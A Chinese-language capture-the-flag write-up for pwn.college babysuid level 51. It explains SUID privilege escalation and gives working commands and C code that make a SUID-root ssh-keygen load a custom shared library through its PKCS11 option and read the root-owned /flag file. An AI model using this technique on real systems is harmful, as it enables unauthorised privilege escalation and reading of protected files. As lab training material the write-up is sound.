pwn.college的level51卡了好久,写文章记录一下做题过程

前置知识

suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。

准备

运行challenge目录下的babysuid_level51,题目告诉我们ssh-keygen设置了suid位,并给了要加载自己的代码的提示

1
2
3
4
5
This challenge is part of a series of programs that
show you how dangerous it is to allow users to load their own code as plugins into the program (but figuring out how is the hard part!).

I just set the SUID bit on /usr/bin/ssh-keygen.
Try to use it to read the flag!

ssh-keygen -D ./可以加载动态链接库文件,所以我们就编写一个动态链接库看看

ls -lorll查看目录权限,发现hacker用户(用户)在home/hacker目录下有rwx权限

目录权限

cd home/hacker进入hacker目录,touch test.c创建c文件

1
2
3
4
5
#include <stdio.h>
#include <stdlib.h>
void test(){
puts("hello world\n");
}

gcc test.c -shared -o test.so 编译动态链接库

易出错点

ssh-keygen -D ./test.so加载动态链接库,然后会出现如下报错

1
2
3
test.so does not contain expected string C_GetFunctionList
provider test.so is not a PKCS11 library
cannot read public key from pkcs11

报错提示我们test.so不包含字符串C_GetFunctionList(test.so does not contain expected string C_GetFunctionList),只需让我们的test.c包含字符串C_GetFunctionList即可

1
2
3
4
5
#include <stdio.h>
#include <stdlib.h>
void C_GetFunctionList(){
puts("hello world\n");
}

重新执行上述命令,成功让ssh-keygen执行了代码

1
2
3
hello world
C_GetFunctionList for provider ./test.so failed: 12
cannot read public key from pkcs11

修改代码使其读取flag

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
void C_GetFunctionList(){
char buf[256] = "";
int fd = open("/flag",0);
read(fd,buf,256);
printf("%s",buf);
}

成功

1
2
pwn.college{xxxxxx}
Segmentation fault

参考链接